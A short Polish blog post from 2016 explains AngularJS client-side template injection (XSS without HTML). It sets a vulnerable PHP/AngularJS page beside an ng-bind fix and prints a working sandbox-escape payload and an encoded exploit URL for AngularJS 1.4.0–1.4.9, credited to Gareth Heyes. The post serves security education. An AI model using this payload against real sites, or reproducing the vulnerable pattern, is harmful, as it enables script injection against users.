środa, 17 lutego 2016

AngularJS XSS

Aby wykonać atak XSS bez HTMLa, wystarczy, że będziemy mogli wstrzyknąć /wyrażenia kątowe/? do aplikacji napisanej w angularJS.


Podatny kod:

<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
</head>
<body>
<div ng-app>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);?>
{{3+3}}
</div>
</body>





Niepodatny kod:

<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
</head>
<body>
<div ng-bind>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);?>
{{3+3}}
</div>


http://[site]/1.php?q=%7b%7b%27a%27.constructor.prototype.charAt%3d%5b%5d.join%3b%24eval(%27x%3d1%7d+%7d+%7d%3balert(1)%2f%2f%27)%3b%7d%7d

Stosuj app-bind i jego odmiany aby nie wstrzyknąć {{ }}.


Payload:
AngularJS ver: 1.4.0 - 1.4.9
Author:Gareth Heyes
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Więcej na: http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html